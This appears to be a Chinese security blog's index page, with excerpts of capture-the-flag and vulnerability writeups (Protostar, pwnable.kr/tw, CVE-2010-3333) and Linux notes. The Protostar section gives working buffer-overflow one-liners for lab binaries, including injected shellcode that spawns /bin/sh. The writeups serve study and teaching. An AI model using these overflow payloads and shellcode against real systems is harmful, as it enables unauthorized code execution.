Binary
CVE-2010-3333分析[漏洞战争]

CVE-2010-3333漏洞是一个栈溢出漏洞,该漏洞是由于Microsoft word在处理RTF数据的对数据解析处理错误,可被利用破坏内存,导致任意代码执行。

评论系统切换至网易云跟帖

用了一阵多说,disqus。多说的问题在于经常大姨妈,而且即将关站。disqus被墙,对国内用户访问不友好。

python如何调用__del__及全局变量如何存储

在处理一个bug的时候发现程序一直报错,Exception exceptions.NameError: "global name 'TEST' is not defined"。仔细审查了下源码,发现这个TEST变量是个全局变量,已经定义了。只不过在类的析构函数__del__()中解引用了del TEST

这引出了两个问题:

  1. 一个类的对象,什么时候调用析构函数?
  2. 为什么一个对象把TEST解引用了其他对象也无法访问?
Exploit-Exercises Protostar writeup PART I

stack0

$ python -c "print 0x44*'a'" | ./stack0
you have changed the 'modified' variable

stack1

$ python -c "print 0x40*'a'+'\x64\x63\x62\x61'" | xargs ./stack1
you have correctly got the variable to the right value

stack2

import os
payload = 'a'*0x40 + '\x0a\x0d\x0a\x0d'
os.putenv("GREENIE", payload)
os.system("./stack2")

stack3

$ readelf -a stack3 | grep win
There are no unwind sections in this file.
56: 08048424 20 FUNC GLOBAL DEFAULT 14 win
$ python -c "print 0x40*'a'+'\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack 4

$ readelf -a stack4 | grep win
There are no unwind sections in this file.
56: 080483f4 20 FUNC GLOBAL DEFAULT 14 win
$ python -c "print 76*'a'+'\xf4\x83\x04\x08'"|./stack4
code flow successfully changed

stack5

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled

系统没开ASLR。让程序崩溃,调试core dump获得stack address。

python -c "print 0x4c*'a'+'\x10\xfd\xff\xbf'+'\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'" | ./stack5

生成自己的Alphanumeric/Printable shellcode

文章已经发表到360播报:http://bobao.360.cn/learning/detail/3720.html

unexploitable Writeup[pwnable.tw]

0x00 unexploitable

最近在刷pwnable.tw(类似pwnable.kr,不过是台湾的)的题,看到了一个unexploitable的题目。根据题目描述:

The original challenge is on pwnable.kr and it is solvable.
This time we fix the vulnerability and now we promise that the service is unexploitable.

下载下来后丢到ida看到确实没什么变化,除了pwnable.kr那个题中最重要的一点syscall没有给。

.text:0000000000400544 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400544 public main
.text:0000000000400544 main proc near ; DATA XREF: _start+1Do
.text:0000000000400544
.text:0000000000400544 buf = byte ptr -10h
.text:0000000000400544
.text:0000000000400544 push rbp
.text:0000000000400545 mov rbp, rsp
.text:0000000000400548 sub rsp, 10h
.text:000000000040054C mov edi, 3 ; seconds
.text:0000000000400551 mov eax, 0
.text:0000000000400556 call _sleep
.text:000000000040055B lea rax, [rbp+buf]
.text:000000000040055F mov edx, 100h ; nbytes
.text:0000000000400564 mov rsi, rax ; buf
.text:0000000000400567 mov edi, 0 ; fd
.text:000000000040056C mov eax, 0
.text:0000000000400571 call _read
.text:0000000000400576 leave
.text:0000000000400577 retn
.text:0000000000400577 main endp
Linux如何搜索动态库

0x00 背景

在linux下安装一些程序,或者在做pwnable的时候经常出现没有找到动态库的情况。

mmap及linux地址空间随机化失效漏洞

Linux下动态库是通过mmap建立起内存和文件的映射关系。其定义如下void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);,在第一个参数startNULL的时候系统会随机分配一个地址,我们可以通过示例来看mmap映射地址的流程。

分析一下程序加载libc.so的流程

open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1409436, ...}) = 0
mmap2(NULL, 1415560, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75b1000
mmap2(0xb7705000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x154) = 0xb7705000
mmap2(0xb7708000, 10632, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7708000
close(3)

在通常情况下通过mmap映射的地址会被内核进行随机化处理,所以每次程序运行加载的动态库基址都不相同。

~ $ ldd mmap
linux-gate.so.1 => (0xb77d9000)
libc.so.6 => /lib/libc.so.6 (0xb7654000)
/lib/ld-linux.so.2 (0xb77bd000)
~ $ ldd mmap
linux-gate.so.1 => (0xb7738000)
libc.so.6 => /lib/libc.so.6 (0xb75b3000)
/lib/ld-linux.so.2 (0xb771c000)
dragon Writeup[pwnable.kr]

0x00 dragon

一个小游戏,我方可以选择牧师或者骑士(死亡骑士DK,23333),牧师的技能有

[ Priest ] 12 HP / 0 MP
[ 1 ] Holy Bolt [ Cost : 10 MP ]
Deals 20 Damage.
[ 2 ] Clarity [ Cost : 0 MP ]
Refreshes All Mana.
[ 3 ] HolyShield [ Cost: 25 MP ]
You Become Temporarily Invincible.

骑士的技能有

[ Knight ] 50 HP / 0 Mana
[ 1 ] Crash
Deals 20 Damage.
[ 2 ] Frenzy
Deals 40 Damage, But You Lose 20 HP.

然后对手是个怪兽,按照怪兽儿子,怪兽妈妈这样的顺序,然后正常打是打不过的。

md5 caculator Writeup[pwnable.kr]

0x00 md5 caculater

下载下来直接运行,提示缺libcrypto库,但是我却安装过了openssl。于是在lib下看,确实是没有这个库。因为我的环境是ubuntu x86_64装的openssl也是64位的,所以要安装32位的库,使用这个命令:

sudo apt-get install --reinstall libssl1.0.0:i386

安装好后反汇编一下,程序很简单。先生成一个随机数token,输入的值和随机数token相等则再输入一串base64编码后的文本,将这个文本解密后用md5加密打印。